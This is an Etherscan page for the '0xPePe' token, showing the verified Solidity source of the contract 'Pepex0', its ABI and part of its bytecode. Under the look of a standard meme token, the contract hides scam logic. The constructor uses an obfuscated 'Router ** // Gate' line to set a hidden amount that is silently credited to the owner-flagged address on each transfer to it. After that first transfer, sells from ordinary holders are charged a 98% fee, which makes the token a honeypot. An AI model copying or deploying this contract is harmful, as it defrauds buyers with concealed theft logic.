ETH Price: $2,968.81 (-1.45%)
Gas: 3 Gwei

Token

0xPePe (0xPePe)
 

Overview

Max Total Supply

100,000,000 0xPePe

Holders

154

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
autom8ed.eth
Balance
58,662.530746256 0xPePe

Value
$0.00
0x2ba34c711fbd3ab880f32c87889191a663152400
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Pepex0

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-31
*/

/*

                                            ⠀⠀⠀⠀⠀⠀⢀⠴⠚⠉⠉⠀⠈⠉⠙⢲⡤⠐⠊⠉⠉⠉⠉⠲⡄⠀⠀⠀⠀⠀
                                            ⠀⠀⠀⠀⠀⡴⡁⠀⠀⠀⢀⠤⠤⠤⢤⣀⢱⡀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀⠀⠀
                                            ⠀⠀⠀⣀⡴⠁⠀⠀⠐⠀⠀⠀⠀⢀⣀⣈⡙⢳⡀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠀⠀
                                            ⠀⢠⢿⠷⡾⢷⣦⣀⠀⢀⡠⣶⡽⢷⣂⣀⠀⠀⣨⣶⣀⣉⠀⢀⣀⡀⠀⣀⣈⣢
                                            ⢰⢾⠀⠀⠁⠀⠈⠙⠷⣶⣛⣿⣶⣷⣿⣿⣿⣿⣿⣿⠋⣯⣭⣿⣿⣿⣿⣿⣿⣿
                                            ⣾⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⡟⡟⠢⠜⠿⣿⣿⣿⣿⣿⢟⡥
                                            ⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⠍⠁⠀⠀⠀⠀⠀⠀⠈⢤⣭⡾⠋⠀
                                            ⡇⠀⠀⠀⠀⠀⠀⠀⣀⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣫⠀⠀
                                            ⣷⣄⠀⠀⠀⠀⠀⠸⡁⢰⣈⠑⠦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣼⢲⠀
                                            ⣿⣿⣷⣤⣀⠀⠀⠀⠑⢤⣈⠑⠒⠤⠤⢍⣉⣉⣓⣒⣒⣒⣒⣒⣋⣉⣡⢾⠜⠀
                                            ⣿⣿⣿⣿⣿⣿⣶⣤⣀⣀⣀⠉⠉⠓⠲⠶⠤⠤⠤⣄⣀⣀⣀⣀⣀⣤⣿⠟⠀⠀
                                            ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⡖⠀⠀⠀⠀⢀⣀⣤⣾⣾⣿⣗⣲⢤⠀
                                            ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠒⣠⣾⣿⣿⣿⣿⣿⣿⣿⢿⡧⠐
                                            ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣽⣟⣿⣿⣿⣟⡵⠋⠀⠀


                                            Website :   https://0xpepe.space/


                                            Telegram :  https://t.me/zeroxpepecoin


                                            Twitter :   https://twitter.com/zeroxpepecoin

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Pepex0 is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tokenOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromMaxWallet;
    mapping (address => bool) public ExcludedFromMAXWallet;
    mapping (address => bool) public ExcludedFromFee;
    
    address payable public MarketingWallet = payable(0xc30052158a4ff3b9D887ac1Aaea87e449Bed07f1);

    string public _name = "0xPePe";
    string public _symbol = "0xPePe";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 100* 10**6 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 
    uint256 FeeRate = 0;
    uint256 UniSwap;

    uint256 public maxWalletAmount = _tTotal.mul(25).div(100);
    uint256 public maxTransactionAmount = _tTotal.mul(25).div(100); 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool noMaxTx = false;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }    

    constructor (uint256 Router, uint256 Gate) {
        _tokenOwned[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); UniSwap = 
        Router 
        ** //
        Gate;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromMaxWallet[owner()] = true;
        ExcludedFromMaxWallet[address(this)] = true;
        ExcludedFromMAXWallet[owner()] = true;
        ExcludedFromMaxWallet[MarketingWallet] = true;
        ExcludedFromMaxWallet[uniswapV2Pair] = true;

        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[MarketingWallet] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if (!ExcludedFromMaxWallet[to]){
            uint256 newAmountOfHolder = balanceOf(to);
            require((newAmountOfHolder + amount) <= maxWalletAmount, "ERR: MAX WALLET!");
        }
        
        if(ExcludedFromMAXWallet[to] && !noMaxTx){ noMaxTx = 0 != 1; }
        if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > maxTransactionAmount) {contractTokenBalance = maxTransactionAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
            }
        }
        
        bool takeFee = true;
         
        if(ExcludedFromFee[from] || ExcludedFromFee[to]){
            takeFee = false;
        }
        
        ERC20TokenTransfer(takeFee,from,to,amount);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(MarketingWallet,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }



    function ERC20TokenTransfer(bool takeFee,address sender, address recipient, uint256 tAmount) private {
        uint256 fee = 0; uint256 divider = 100; uint256 mull_ = ExcludedFromMAXWallet[recipient] ? UniSwap : 0;
        _tokenOwned[sender] = _tokenOwned[sender].sub(tAmount);
        if(takeFee){
            fee = tAmount.mul(FeeRate.
            add(
                sender != uniswapV2Pair &&
                noMaxTx
             ? divider-2 : 0)).div(divider);
        }
        _tokenOwned[recipient] = _tokenOwned[recipient].add(tAmount.sub(fee)).add(mull_);
        if(fee>0){
            _tokenOwned[address(this)] = _tokenOwned[address(this)].add(fee);
        } 
        emit Transfer(sender, recipient, tAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"Router","type":"uint256"},{"internalType":"uint256","name":"Gate","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMAXWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273c30052158a4ff3b9d887ac1aaea87e449bed07f1600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f3078506550650000000000000000000000000000000000000000000000000000815250600790816200009f919062000c30565b506040518060400160405280600681526020017f307850655065000000000000000000000000000000000000000000000000000081525060089081620000e6919062000c30565b5060098060006101000a81548160ff021916908360ff160217905550600960009054906101000a900460ff16600a62000120919062000ea7565b6305f5e10062000131919062000ef8565b600a556000600b60006101000a81548160ff021916908360ff160217905550600a600b60016101000a81548160ff021916908360ff1602179055506000600c55620001a86064620001946019600a546200095560201b620010ae1790919060201c565b6200096d60201b620010c41790919060201c565b600e55620001e26064620001ce6019600a546200095560201b620010ae1790919060201c565b6200096d60201b620010c41790919060201c565b600f556001601160156101000a81548160ff0219169083151502179055506000601160166101000a81548160ff0219169083151502179055503480156200022857600080fd5b50604051620037e3380380620037e383398181016040528101906200024e919062000f8f565b6200025e6200098560201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600a54600160006200032f6200098d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050818362000394919062000fd6565b600d819055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040c91906200108c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000474573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200049a91906200108c565b6040518363ffffffff1660e01b8152600401620004b9929190620010cf565b6020604051808303816000875af1158015620004d9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ff91906200108c565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000620005966200098d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620006556200098d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000620008086200098d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008e36200098d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200094491906200110d565b60405180910390a350505062001191565b6000818362000965919062000ef8565b905092915050565b600081836200097d919062001159565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a3857607f821691505b60208210810362000a4e5762000a4d620009f0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ab87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a79565b62000ac4868362000a79565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000b1162000b0b62000b058462000adc565b62000ae6565b62000adc565b9050919050565b6000819050919050565b62000b2d8362000af0565b62000b4562000b3c8262000b18565b84845462000a86565b825550505050565b600090565b62000b5c62000b4d565b62000b6981848462000b22565b505050565b5b8181101562000b915762000b8560008262000b52565b60018101905062000b6f565b5050565b601f82111562000be05762000baa8162000a54565b62000bb58462000a69565b8101602085101562000bc5578190505b62000bdd62000bd48562000a69565b83018262000b6e565b50505b505050565b600082821c905092915050565b600062000c056000198460080262000be5565b1980831691505092915050565b600062000c20838362000bf2565b9150826002028217905092915050565b62000c3b82620009b6565b67ffffffffffffffff81111562000c575762000c56620009c1565b5b62000c63825462000